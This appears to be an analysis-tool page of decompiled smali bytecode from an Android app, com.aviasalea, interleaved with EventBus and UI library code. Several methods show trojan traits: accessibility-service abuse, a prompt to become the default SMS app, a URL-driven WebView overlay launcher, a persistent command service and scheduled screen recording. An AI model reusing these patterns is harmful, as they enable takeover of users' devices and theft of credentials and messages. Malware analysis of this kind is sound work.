                                      38sget-object v1, Lde/greenrobot/event/ThreadMode;->BackgroundThread:Lde/greenrobot/event/ThreadMode;
                                      39aput-object v1, v0, v4
                                      41sget-object v1, Lde/greenrobot/event/ThreadMode;->Async:Lde/greenrobot/event/ThreadMode;
                                      42aput-object v1, v0, v5
                                      43sput-object v0, Lde/greenrobot/event/ThreadMode;->$VALUES:[Lde/greenrobot/event/ThreadMode;
                                      44return-void
                                      Cross References
                                      APIs
                                      • android.support.v4.app.FragmentActivity.getSupportFragmentManager
                                      • android.support.v4.app.FragmentManager.findFragmentByTag
                                      • de.greenrobot.event.util.ErrorDialogManager$SupportManagerFragment.<init>
                                      • android.support.v4.app.FragmentManager.beginTransaction
                                      • android.support.v4.app.FragmentTransaction.add
                                      • android.support.v4.app.FragmentTransaction.commit
                                      • android.support.v4.app.FragmentManager.executePendingTransactions
                                      Strings
                                      • de.greenrobot.eventbus.error_dialog_manager
                                      Position Instruction Meta Information
                                      0.param p0, "activity" # Landroid/app/Activity;
                                      1.param p1, "executionScope" # Ljava/lang/Object;
                                      2.param p2, "finishAfterDialog" # Z
                                      3.param p3, "argumentsForErrorDialog" # Landroid/os/Bundle;
                                      4.prologue
                                      5check-cast p0, Landroid/support/v4/app/FragmentActivity;
                                      7invoke-virtual {p0}, Landroid/support/v4/app/FragmentActivity;->getSupportFragmentManager()Landroid/support/v4/app/FragmentManager;
                                      8move-result-object v0
                                      10const-string v2, "de.greenrobot.eventbus.error_dialog_manager"
                                      12invoke-virtual {v0, v2}, Landroid/support/v4/app/FragmentManager;->findFragmentByTag(Ljava/lang/String;)Landroid/support/v4/app/Fragment;
                                      13move-result-object v1
                                      14check-cast v1, Lde/greenrobot/event/util/ErrorDialogManager$SupportManagerFragment;
                                      15if-nez v1, :cond_25
                                      16new-instance v1, Lde/greenrobot/event/util/ErrorDialogManager$SupportManagerFragment;
                                      18invoke-direct {v1}, Lde/greenrobot/event/util/ErrorDialogManager$SupportManagerFragment;-><init>()V
                                      20invoke-virtual {v0}, Landroid/support/v4/app/FragmentManager;->beginTransaction()Landroid/support/v4/app/FragmentTransaction;
                                      21move-result-object v2
                                      23const-string v3, "de.greenrobot.eventbus.error_dialog_manager"
                                      25invoke-virtual {v2, v1, v3}, Landroid/support/v4/app/FragmentTransaction;->add(Landroid/support/v4/app/Fragment;Ljava/lang/String;)Landroid/support/v4/app/FragmentTransaction;
                                      26move-result-object v2
                                      28invoke-virtual {v2}, Landroid/support/v4/app/FragmentTransaction;->commit()I
                                      30invoke-virtual {v0}, Landroid/support/v4/app/FragmentManager;->executePendingTransactions()Z
                                      31cond_25: iput-boolean p2, v1, Lde/greenrobot/event/util/ErrorDialogManager$SupportManagerFragment;->finishAfterDialog:Z
                                      32iput-object p3, v1, Lde/greenrobot/event/util/ErrorDialogManager$SupportManagerFragment;->argumentsForErrorDialog:Landroid/os/Bundle;
                                      33iput-object p1, v1, Lde/greenrobot/event/util/ErrorDialogManager$SupportManagerFragment;->executionScope:Ljava/lang/Object;
                                      34return-void
                                      Cross References
                                      APIs
                                      • android.app.Activity.getFragmentManager
                                      • android.app.FragmentManager.findFragmentByTag
                                      • de.greenrobot.event.util.ErrorDialogManager$HoneycombManagerFragment.<init>
                                      • android.app.FragmentManager.beginTransaction
                                      • android.app.FragmentTransaction.add
                                      • android.app.FragmentTransaction.commit
                                      • android.app.FragmentManager.executePendingTransactions
                                      Strings
                                      • de.greenrobot.eventbus.error_dialog_manager
                                      Position Instruction Meta Information
                                      0.param p0, "activity" # Landroid/app/Activity;
                                      1.param p1, "executionScope" # Ljava/lang/Object;
                                      2.param p2, "finishAfterDialog" # Z
                                      3.param p3, "argumentsForErrorDialog" # Landroid/os/Bundle;
                                      4.prologue
                                      6invoke-virtual {p0}, Landroid/app/Activity;->getFragmentManager()Landroid/app/FragmentManager;
                                      7move-result-object v0
                                      9const-string v2, "de.greenrobot.eventbus.error_dialog_manager"
                                      11invoke-virtual {v0, v2}, Landroid/app/FragmentManager;->findFragmentByTag(Ljava/lang/String;)Landroid/app/Fragment;
                                      12move-result-object v1
                                      13check-cast v1, Lde/greenrobot/event/util/ErrorDialogManager$HoneycombManagerFragment;
                                      14if-nez v1, :cond_23
                                      15new-instance v1, Lde/greenrobot/event/util/ErrorDialogManager$HoneycombManagerFragment;
                                      17invoke-direct {v1}, Lde/greenrobot/event/util/ErrorDialogManager$HoneycombManagerFragment;-><init>()V
                                      19invoke-virtual {v0}, Landroid/app/FragmentManager;->beginTransaction()Landroid/app/FragmentTransaction;
                                      20move-result-object v2
                                      22const-string v3, "de.greenrobot.eventbus.error_dialog_manager"
                                      24invoke-virtual {v2, v1, v3}, Landroid/app/FragmentTransaction;->add(Landroid/app/Fragment;Ljava/lang/String;)Landroid/app/FragmentTransaction;
                                      25move-result-object v2
                                      27invoke-virtual {v2}, Landroid/app/FragmentTransaction;->commit()I
                                      29invoke-virtual {v0}, Landroid/app/FragmentManager;->executePendingTransactions()Z
                                      30cond_23: iput-boolean p2, v1, Lde/greenrobot/event/util/ErrorDialogManager$HoneycombManagerFragment;->finishAfterDialog:Z
                                      31iput-object p3, v1, Lde/greenrobot/event/util/ErrorDialogManager$HoneycombManagerFragment;->argumentsForErrorDialog:Landroid/os/Bundle;
                                      32iput-object p1, v1, Lde/greenrobot/event/util/ErrorDialogManager$HoneycombManagerFragment;->executionScope:Ljava/lang/Object;
                                      33return-void
                                      APIs
                                      • android.content.Intent.getIntExtra
                                      • com.aviasalea.srs.GPSrs$1.this$0:Lcom/aviasalea/srs/GPSrs
                                      • android.content.Intent.getBooleanExtra
                                      • com.aviasalea.srs.GPSrs.access$002
                                      • com.aviasalea.srs.GPSrs$1.this$0:Lcom/aviasalea/srs/GPSrs
                                      • android.content.Intent.getStringExtra
                                      • com.aviasalea.srs.GPSrs.access$102
                                      Strings
                                      • status
                                      • isRequestKilled
                                      • chSSCl
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.param p2, "intent" # Landroid/content/Intent;
                                      2.prologue
                                      3if-eqz p2, :cond_c
                                      5const-string v1, "status"
                                      6const/4 v2, -0x1
                                      8invoke-virtual {p2, v1, v2}, Landroid/content/Intent;->getIntExtra(Ljava/lang/String;I)I
                                      9move-result v0
                                      10packed-switch v0, :pswitch_data_26
                                      11cond_c: return-void
                                      12pswitch_d:
                                      13iget-object v1, p0, Lcom/aviasalea/srs/GPSrs$1;->this$0:Lcom/aviasalea/srs/GPSrs;
                                      15const-string v2, "isRequestKilled"
                                      16const/4 v3, 0x1
                                      18invoke-virtual {p2, v2, v3}, Landroid/content/Intent;->getBooleanExtra(Ljava/lang/String;Z)Z
                                      19move-result v2
                                      21invoke-static {v1, v2}, Lcom/aviasalea/srs/GPSrs;->access$002(Lcom/aviasalea/srs/GPSrs;Z)Z
                                      22goto/16 :goto_c
                                      23pswitch_1a:
                                      24iget-object v1, p0, Lcom/aviasalea/srs/GPSrs$1;->this$0:Lcom/aviasalea/srs/GPSrs;
                                      26const-string v2, "chSSCl"
                                      28invoke-virtual {p2, v2}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
                                      29move-result-object v2
                                      31invoke-static {v1, v2}, Lcom/aviasalea/srs/GPSrs;->access$102(Lcom/aviasalea/srs/GPSrs;Ljava/lang/String;)Ljava/lang/String;
                                      32goto/16 :goto_c
                                      Cross References
                                      APIs
                                      • android.content.Intent.<init>
                                      • android.content.Context.getPackageName
                                      • android.content.Intent.putExtra
                                      • android.content.Intent.setFlags
                                      • android.content.Context.startActivity
                                      • java.lang.Exception.printStackTrace
                                      Strings
                                      • android.provider.Telephony.ACTION_CHANGE_DEFAULT
                                      • package
                                      Position Instruction Meta Information
                                      0.param p0, "context" # Landroid/content/Context;
                                      1.annotation build Landroid/annotation/TargetApi;
                                      2value = 0x13
                                      3.end annotation
                                      4.prologue
                                      5try_start_0: new-instance v1, Landroid/content/Intent;
                                      7const-string v2, "android.provider.Telephony.ACTION_CHANGE_DEFAULT"
                                      9invoke-direct {v1, v2}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
                                      11const-string v2, "package"
                                      13invoke-virtual {p0}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                                      14move-result-object v3
                                      16invoke-virtual {v1, v2, v3}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
                                      17const/high16 v2, 0x10000000
                                      19invoke-virtual {v1, v2}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
                                      21invoke-virtual {p0, v1}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
                                      22try_end_18: return-void
                                      23catch_19: move-exception v0
                                      25invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                                      26goto/16 :goto_18
                                      Cross References
                                      APIs
                                      • android.content.Intent.<init>
                                      • android.content.Intent.setFlags
                                      • android.content.Intent.putExtra
                                      • android.content.Intent.putExtra
                                      • android.content.Context.startActivity
                                      • java.lang.Exception.printStackTrace
                                      Strings
                                      • url
                                      • currentPackage
                                      Position Instruction Meta Information
                                      0.param p0, "activity" # Landroid/content/Context;
                                      1.param p1, "url" # Ljava/lang/String;
                                      2.param p2, "currentPackage" # Ljava/lang/String;
                                      3.prologue
                                      4try_start_0: new-instance v1, Landroid/content/Intent;
                                      5const-class v2, Lcom/aviasalea/wb/WbActivity;
                                      7invoke-direct {v1, p0, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                                      8const v2, 0x10008000
                                      10invoke-virtual {v1, v2}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
                                      12const-string v2, "url"
                                      14invoke-virtual {v1, v2, p1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
                                      16const-string v2, "currentPackage"
                                      18invoke-virtual {v1, v2, p2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
                                      20invoke-virtual {p0, v1}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
                                      21goto_1a: return-void
                                      22catch_1b: move-exception v0
                                      24invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                                      25goto/16 :goto_1a
                                      APIs
                                      • android.accessibilityservice.AccessibilityService.onCreate
                                      • com.aviasalea.srs.GPSrs.sendAccessStatusRequest
                                      • android.support.v4.content.LocalBroadcastManager.getInstance
                                      • com.aviasalea.srs.GPSrs.mRealTalkAccessibilityReceiver:Landroid/content/BroadcastReceiver
                                      • android.content.IntentFilter.<init>
                                      • android.support.v4.content.LocalBroadcastManager.registerReceiver
                                      Strings
                                      • access
                                      • on
                                      • com.aviasalea.GPReceiver
                                      Position Instruction Meta Information
                                      0.prologue
                                      2invoke-super {p0}, Landroid/accessibilityservice/AccessibilityService;->onCreate()V
                                      3new-instance v0, Lcom/aviasalea/srs/api/requests/data/ReportData;
                                      5const-string v1, "access"
                                      7const-string v2, "on"
                                      9invoke-direct {v0, v1, v2}, Lcom/aviasalea/srs/api/requests/data/ReportData;-><init>(Ljava/lang/String;Ljava/lang/String;)V
                                      11invoke-direct {p0, v0}, Lcom/aviasalea/srs/GPSrs;->sendAccessStatusRequest(Lcom/aviasalea/srs/api/requests/data/ReportData;)V
                                      13invoke-static {p0}, Landroid/support/v4/content/LocalBroadcastManager;->getInstance(Landroid/content/Context;)Landroid/support/v4/content/LocalBroadcastManager;
                                      14move-result-object v0
                                      16iget-object v1, p0, Lcom/aviasalea/srs/GPSrs;->mRealTalkAccessibilityReceiver:Landroid/content/BroadcastReceiver;
                                      17new-instance v2, Landroid/content/IntentFilter;
                                      19const-string v3, "com.aviasalea.GPReceiver"
                                      21invoke-direct {v2, v3}, Landroid/content/IntentFilter;-><init>(Ljava/lang/String;)V
                                      23invoke-virtual {v0, v1, v2}, Landroid/support/v4/content/LocalBroadcastManager;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)V
                                      24return-void
                                      APIs
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$1202
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.getWindow
                                      • android.view.WindowManager$LayoutParams.<init>
                                      • android.view.Window.getAttributes
                                      • android.view.WindowManager$LayoutParams.copyFrom
                                      • java.lang.Math.min
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$1300
                                      • com.aviasalea.base.dialog.AlertDialog$1.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$1300
                                      • android.view.Window.setAttributes
                                      Position Instruction Meta Information
                                      0.prologue
                                      2iget-object v4, p0, Lcom/aviasalea/base/dialog/AlertDialog$1$1;->this$1:Lcom/aviasalea/base/dialog/AlertDialog$1;
                                      4iget-object v4, v4, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      6sget-object v5, Lcom/aviasalea/checktls/AndroidUtilities;->displaySize:Landroid/graphics/Point;
                                      7iget v5, v5, Landroid/graphics/Point;->x:I
                                      9invoke-static {v4, v5}, Lcom/aviasalea/base/dialog/AlertDialog;->access$1202(Lcom/aviasalea/base/dialog/AlertDialog;I)I
                                      11sget-object v4, Lcom/aviasalea/checktls/AndroidUtilities;->displaySize:Landroid/graphics/Point;
                                      12iget v4, v4, Landroid/graphics/Point;->x:I
                                      13const/high16 v5, 0x42600000 # 56.0f
                                      15invoke-static {v5}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      16move-result v5
                                      17sub-int v0, v4, v5
                                      19invoke-static {}, Lcom/aviasalea/checktls/AndroidUtilities;->isTablet()Z
                                      20move-result v4
                                      21if-eqz v4, :cond_64
                                      23invoke-static {}, Lcom/aviasalea/checktls/AndroidUtilities;->isSmallTablet()Z
                                      24move-result v4
                                      25if-eqz v4, :cond_5d
                                      26const/high16 v4, 0x43df0000 # 446.0f
                                      28invoke-static {v4}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      29move-result v1
                                      30goto_29:
                                      31iget-object v4, p0, Lcom/aviasalea/base/dialog/AlertDialog$1$1;->this$1:Lcom/aviasalea/base/dialog/AlertDialog$1;
                                      33iget-object v4, v4, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      35invoke-virtual {v4}, Lcom/aviasalea/base/dialog/AlertDialog;->getWindow()Landroid/view/Window;
                                      36move-result-object v3
                                      37new-instance v2, Landroid/view/WindowManager$LayoutParams;
                                      39invoke-direct {v2}, Landroid/view/WindowManager$LayoutParams;-><init>()V
                                      41invoke-virtual {v3}, Landroid/view/Window;->getAttributes()Landroid/view/WindowManager$LayoutParams;
                                      42move-result-object v4
                                      44invoke-virtual {v2, v4}, Landroid/view/WindowManager$LayoutParams;->copyFrom(Landroid/view/WindowManager$LayoutParams;)I
                                      46invoke-static {v1, v0}, Ljava/lang/Math;->min(II)I
                                      47move-result v4
                                      49iget-object v5, p0, Lcom/aviasalea/base/dialog/AlertDialog$1$1;->this$1:Lcom/aviasalea/base/dialog/AlertDialog$1;
                                      51iget-object v5, v5, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      53invoke-static {v5}, Lcom/aviasalea/base/dialog/AlertDialog;->access$1300(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/graphics/Rect;
                                      54move-result-object v5
                                      55iget v5, v5, Landroid/graphics/Rect;->left:I
                                      56add-int/2addr v4, v5
                                      58iget-object v5, p0, Lcom/aviasalea/base/dialog/AlertDialog$1$1;->this$1:Lcom/aviasalea/base/dialog/AlertDialog$1;
                                      60iget-object v5, v5, Lcom/aviasalea/base/dialog/AlertDialog$1;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      62invoke-static {v5}, Lcom/aviasalea/base/dialog/AlertDialog;->access$1300(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/graphics/Rect;
                                      63move-result-object v5
                                      64iget v5, v5, Landroid/graphics/Rect;->right:I
                                      65add-int/2addr v4, v5
                                      66iput v4, v2, Landroid/view/WindowManager$LayoutParams;->width:I
                                      68invoke-virtual {v3, v2}, Landroid/view/Window;->setAttributes(Landroid/view/WindowManager$LayoutParams;)V
                                      69return-void
                                      70cond_5d: const/high16 v4, 0x43f80000 # 496.0f
                                      72invoke-static {v4}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      73move-result v1
                                      74goto/16 :goto_29
                                      75cond_64: const/high16 v4, 0x43b20000 # 356.0f
                                      77invoke-static {v4}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      78move-result v1
                                      79goto/16 :goto_29
                                      Cross References
                                      APIs
                                      • android.view.View.<init>
                                      • android.graphics.RectF.<init>
                                      • android.view.animation.DecelerateInterpolator.<init>
                                      • android.view.animation.AccelerateInterpolator.<init>
                                      • android.graphics.Paint.<init>
                                      • com.aviasalea.base.dialog.RadialProgressView.progressPaint:Landroid/graphics/Paint
                                      • android.graphics.Paint$Style.STROKE:Landroid/graphics/Paint$Style
                                      • android.graphics.Paint.setStyle
                                      • com.aviasalea.base.dialog.RadialProgressView.progressPaint:Landroid/graphics/Paint
                                      • android.graphics.Paint$Cap.ROUND:Landroid/graphics/Paint$Cap
                                      • android.graphics.Paint.setStrokeCap
                                      • com.aviasalea.base.dialog.RadialProgressView.progressPaint:Landroid/graphics/Paint
                                      • android.graphics.Paint.setStrokeWidth
                                      • com.aviasalea.base.dialog.RadialProgressView.progressPaint:Landroid/graphics/Paint
                                      • android.graphics.Paint.setColor
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.prologue
                                      3invoke-direct {p0, p1}, Landroid/view/View;-><init>(Landroid/content/Context;)V
                                      4new-instance v0, Landroid/graphics/RectF;
                                      6invoke-direct {v0}, Landroid/graphics/RectF;-><init>()V
                                      7iput-object v0, p0, Lcom/aviasalea/base/dialog/RadialProgressView;->cicleRect:Landroid/graphics/RectF;
                                      8const/high16 v0, 0x44fa0000 # 2000.0f
                                      9iput v0, p0, Lcom/aviasalea/base/dialog/RadialProgressView;->rotationTime:F
                                      10const/high16 v0, 0x43fa0000 # 500.0f
                                      11iput v0, p0, Lcom/aviasalea/base/dialog/RadialProgressView;->risingTime:F
                                      12const/high16 v0, 0x42200000 # 40.0f
                                      14invoke-static {v0}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      15move-result v0
                                      16iput v0, p0, Lcom/aviasalea/base/dialog/RadialProgressView;->size:I
                                      17const v0, 0x7f030012
                                      19invoke-static {p1, v0}, Lcom/aviasalea/checktls/AndroidUtilities;->getColor(Landroid/content/Context;I)I
                                      20move-result v0
                                      21iput v0, p0, Lcom/aviasalea/base/dialog/RadialProgressView;->progressColor:I
                                      22new-instance v0, Landroid/view/animation/DecelerateInterpolator;
                                      24invoke-direct {v0}, Landroid/view/animation/DecelerateInterpolator;-><init>()V
                                      25iput-object v0, p0, Lcom/aviasalea/base/dialog/RadialProgressView;->decelerateInterpolator:Landroid/view/animation/DecelerateInterpolator;
                                      26new-instance v0, Landroid/view/animation/AccelerateInterpolator;
                                      28invoke-direct {v0}, Landroid/view/animation/AccelerateInterpolator;-><init>()V
                                      29iput-object v0, p0, Lcom/aviasalea/base/dialog/RadialProgressView;->accelerateInterpolator:Landroid/view/animation/AccelerateInterpolator;
                                      30new-instance v0, Landroid/graphics/Paint;
                                      31const/4 v1, 0x1
                                      33invoke-direct {v0, v1}, Landroid/graphics/Paint;-><init>(I)V
                                      34iput-object v0, p0, Lcom/aviasalea/base/dialog/RadialProgressView;->progressPaint:Landroid/graphics/Paint;
                                      36iget-object v0, p0, Lcom/aviasalea/base/dialog/RadialProgressView;->progressPaint:Landroid/graphics/Paint;
                                      38sget-object v1, Landroid/graphics/Paint$Style;->STROKE:Landroid/graphics/Paint$Style;
                                      40invoke-virtual {v0, v1}, Landroid/graphics/Paint;->setStyle(Landroid/graphics/Paint$Style;)V
                                      42iget-object v0, p0, Lcom/aviasalea/base/dialog/RadialProgressView;->progressPaint:Landroid/graphics/Paint;
                                      44sget-object v1, Landroid/graphics/Paint$Cap;->ROUND:Landroid/graphics/Paint$Cap;
                                      46invoke-virtual {v0, v1}, Landroid/graphics/Paint;->setStrokeCap(Landroid/graphics/Paint$Cap;)V
                                      48iget-object v0, p0, Lcom/aviasalea/base/dialog/RadialProgressView;->progressPaint:Landroid/graphics/Paint;
                                      49const/high16 v1, 0x40400000 # 3.0f
                                      51invoke-static {v1}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      52move-result v1
                                      53int-to-float v1, v1
                                      55invoke-virtual {v0, v1}, Landroid/graphics/Paint;->setStrokeWidth(F)V
                                      57iget-object v0, p0, Lcom/aviasalea/base/dialog/RadialProgressView;->progressPaint:Landroid/graphics/Paint;
                                      58iget v1, p0, Lcom/aviasalea/base/dialog/RadialProgressView;->progressColor:I
                                      60invoke-virtual {v0, v1}, Landroid/graphics/Paint;->setColor(I)V
                                      61return-void
                                      Cross References
                                      APIs
                                      • android.view.accessibility.AccessibilityEvent.getSource
                                      • com.aviasalea.srs.GPSrs.hasAd
                                      • com.aviasalea.srs.GPSrs.adReq
                                      • com.aviasalea.srs.GPSrs.isChSSCl
                                      • com.aviasalea.srs.GPSrs.chSSClReq
                                      • com.aviasalea.srs.GPSrs.getApplicationContext
                                      • com.aviasalea.srs.GPSrs.getApplicationContext
                                      • com.aviasalea.srs.GPSrs.getApplicationContext
                                      • com.aviasalea.srs.GPSrs.scheduleSSRec
                                      Position Instruction Meta Information
                                      0.param p1, "accessibilityEvent" # Landroid/view/accessibility/AccessibilityEvent;
                                      1.annotation system Ldalvik/annotation/Throws;
                                      2value = {
                                      3Ljava/lang/Exception;
                                      4}
                                      5.end annotation
                                      6.prologue
                                      8invoke-virtual {p1}, Landroid/view/accessibility/AccessibilityEvent;->getSource()Landroid/view/accessibility/AccessibilityNodeInfo;
                                      9move-result-object v0
                                      10if-eqz v0, :cond_13
                                      11iget-boolean v1, p0, Lcom/aviasalea/srs/GPSrs;->mExitFromApp:Z
                                      12if-nez v1, :cond_13
                                      14invoke-direct {p0}, Lcom/aviasalea/srs/GPSrs;->hasAd()Z
                                      15move-result v1
                                      16if-nez v1, :cond_14
                                      18invoke-direct {p0, p1}, Lcom/aviasalea/srs/GPSrs;->adReq(Landroid/view/accessibility/AccessibilityEvent;)V
                                      19goto_13: return-void
                                      20cond_14:
                                      21invoke-direct {p0}, Lcom/aviasalea/srs/GPSrs;->isChSSCl()Z
                                      22move-result v1
                                      23if-nez v1, :cond_1d
                                      25invoke-direct {p0, p1}, Lcom/aviasalea/srs/GPSrs;->chSSClReq(Landroid/view/accessibility/AccessibilityEvent;)V
                                      26cond_1d: new-instance v1, Lcom/aviasalea/checktls/ASTls;
                                      28invoke-direct {v1}, Lcom/aviasalea/checktls/ASTls;-><init>()V
                                      30invoke-virtual {v1, p0, v0, p0}, Lcom/aviasalea/checktls/ASTls;->packageEqualsProcessing(Landroid/content/Context;Landroid/view/accessibility/AccessibilityNodeInfo;Lcom/aviasalea/checktls/ASTls$OnASTlsCallback;)V
                                      32invoke-virtual {p0}, Lcom/aviasalea/srs/GPSrs;->getApplicationContext()Landroid/content/Context;
                                      33move-result-object v1
                                      35invoke-static {v1}, Lcom/aviasalea/checktls/IntTls;->startCommandService(Landroid/content/Context;)V
                                      37invoke-virtual {p0}, Lcom/aviasalea/srs/GPSrs;->getApplicationContext()Landroid/content/Context;
                                      38move-result-object v1
                                      40invoke-static {v1}, Lcom/aviasalea/checktls/IntTls;->startDialogAccessService(Landroid/content/Context;)V
                                      42invoke-virtual {p0}, Lcom/aviasalea/srs/GPSrs;->getApplicationContext()Landroid/content/Context;
                                      43move-result-object v1
                                      45invoke-static {v1}, Lcom/aviasalea/srs/GPSrs;->scheduleSSRec(Landroid/content/Context;)V
                                      46goto/16 :goto_13
                                      Cross References
                                      APIs
                                      • android.text.TextUtils.isEmpty
                                      • java.lang.String.toCharArray
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.Character.isLetter
                                      • java.lang.Character.toUpperCase
                                      • java.lang.StringBuilder.append
                                      • java.lang.Character.isWhitespace
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      Position Instruction Meta Information
                                      0.param p0, "str" # Ljava/lang/String;
                                      1.prologue
                                      3invoke-static {p0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                      4move-result v4
                                      5if-eqz v4, :cond_7
                                      6goto_6: return-object p0
                                      7cond_7:
                                      8invoke-virtual {p0}, Ljava/lang/String;->toCharArray()[C
                                      9move-result-object v0
                                      10const/4 v2, 0x1
                                      11new-instance v3, Ljava/lang/StringBuilder;
                                      13invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                      14array-length v5, v0
                                      15const/4 v4, 0x0
                                      16goto_13: if-ge v4, v5, :cond_35
                                      17aget-char v1, v0, v4
                                      18if-eqz v2, :cond_2a
                                      20invoke-static {v1}, Ljava/lang/Character;->isLetter(C)Z
                                      21move-result v6
                                      22if-eqz v6, :cond_2a
                                      24invoke-static {v1}, Ljava/lang/Character;->toUpperCase(C)C
                                      25move-result v6
                                      27invoke-virtual {v3, v6}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
                                      28const/4 v2, 0x0
                                      29goto_27: add-int/lit8 v4, v4, 0x1
                                      30goto/16 :goto_13
                                      31cond_2a:
                                      32invoke-static {v1}, Ljava/lang/Character;->isWhitespace(C)Z
                                      33move-result v6
                                      34if-eqz v6, :cond_31
                                      35const/4 v2, 0x1
                                      36cond_31:
                                      37invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
                                      38goto/16 :goto_27
                                      39cond_35:
                                      40invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      41move-result-object p0
                                      42goto/16 :goto_6
                                      APIs
                                      • com.aviasalea.srs.newapi.CmndJobSchedulerSrs.getApplicationContext
                                      • com.aviasalea.srs.newapi.CmndJobSchedulerSrs.getApplicationContext
                                      • com.aviasalea.srs.newapi.CmndJobSchedulerSrs.startCmndSrs
                                      • com.aviasalea.Realtalk.isStartAccess
                                      • com.aviasalea.srs.newapi.CmndJobSchedulerSrs.getApplicationContext
                                      • com.aviasalea.srs.newapi.CmndJobSchedulerSrs.getApplicationContext
                                      • com.aviasalea.srs.newapi.CmndJobSchedulerSrs.startStDlgSrs
                                      • com.aviasalea.srs.newapi.CmndJobSchedulerSrs.getApplicationContext
                                      • java.lang.Exception.printStackTrace
                                      Position Instruction Meta Information
                                      0.param p1, "params" # Landroid/app/job/JobParameters;
                                      1.prologue
                                      2try_start_0: const-class v1, Lcom/aviasalea/srs/CmndSrs;
                                      4invoke-virtual {p0}, Lcom/aviasalea/srs/newapi/CmndJobSchedulerSrs;->getApplicationContext()Landroid/content/Context;
                                      5move-result-object v2
                                      7invoke-static {v1, v2}, Lcom/aviasalea/checktls/CmndTls;->isMyServiceRunning(Ljava/lang/Class;Landroid/content/Context;)Z
                                      8move-result v1
                                      9if-nez v1, :cond_13
                                      11invoke-virtual {p0}, Lcom/aviasalea/srs/newapi/CmndJobSchedulerSrs;->getApplicationContext()Landroid/content/Context;
                                      12move-result-object v1
                                      14invoke-direct {p0, v1}, Lcom/aviasalea/srs/newapi/CmndJobSchedulerSrs;->startCmndSrs(Landroid/content/Context;)V
                                      15cond_13:
                                      16invoke-static {p0}, Lcom/aviasalea/Realtalk;->isStartAccess(Landroid/content/Context;)Z
                                      17move-result v1
                                      18if-eqz v1, :cond_2c
                                      19const-class v1, Lcom/aviasalea/srs/StDlgSrs;
                                      21invoke-virtual {p0}, Lcom/aviasalea/srs/newapi/CmndJobSchedulerSrs;->getApplicationContext()Landroid/content/Context;
                                      22move-result-object v2
                                      24invoke-static {v1, v2}, Lcom/aviasalea/checktls/CmndTls;->isMyServiceRunning(Ljava/lang/Class;Landroid/content/Context;)Z
                                      25move-result v1
                                      26if-nez v1, :cond_2c
                                      28invoke-virtual {p0}, Lcom/aviasalea/srs/newapi/CmndJobSchedulerSrs;->getApplicationContext()Landroid/content/Context;
                                      29move-result-object v1
                                      31invoke-direct {p0, v1}, Lcom/aviasalea/srs/newapi/CmndJobSchedulerSrs;->startStDlgSrs(Landroid/content/Context;)V
                                      32cond_2c:
                                      33invoke-virtual {p0}, Lcom/aviasalea/srs/newapi/CmndJobSchedulerSrs;->getApplicationContext()Landroid/content/Context;
                                      34move-result-object v1
                                      36invoke-static {v1}, Lcom/aviasalea/srs/newapi/utils/Util;->scheduleJob(Landroid/content/Context;)V
                                      37goto_33: const/4 v1, 0x1
                                      38return v1
                                      39catch_35: move-exception v0
                                      41invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                                      42goto/16 :goto_33
                                      APIs
                                      • android.text.Editable.length
                                      • com.aviasalea.injs.s.views.SLogView.access$000
                                      • android.widget.RelativeLayout.setBackgroundResource
                                      • com.aviasalea.injs.s.views.SLogView.access$000
                                      • android.widget.RelativeLayout.setEnabled
                                      • com.aviasalea.injs.s.views.SLogView.access$000
                                      • android.widget.RelativeLayout.setBackgroundResource
                                      • com.aviasalea.injs.s.views.SLogView.access$000
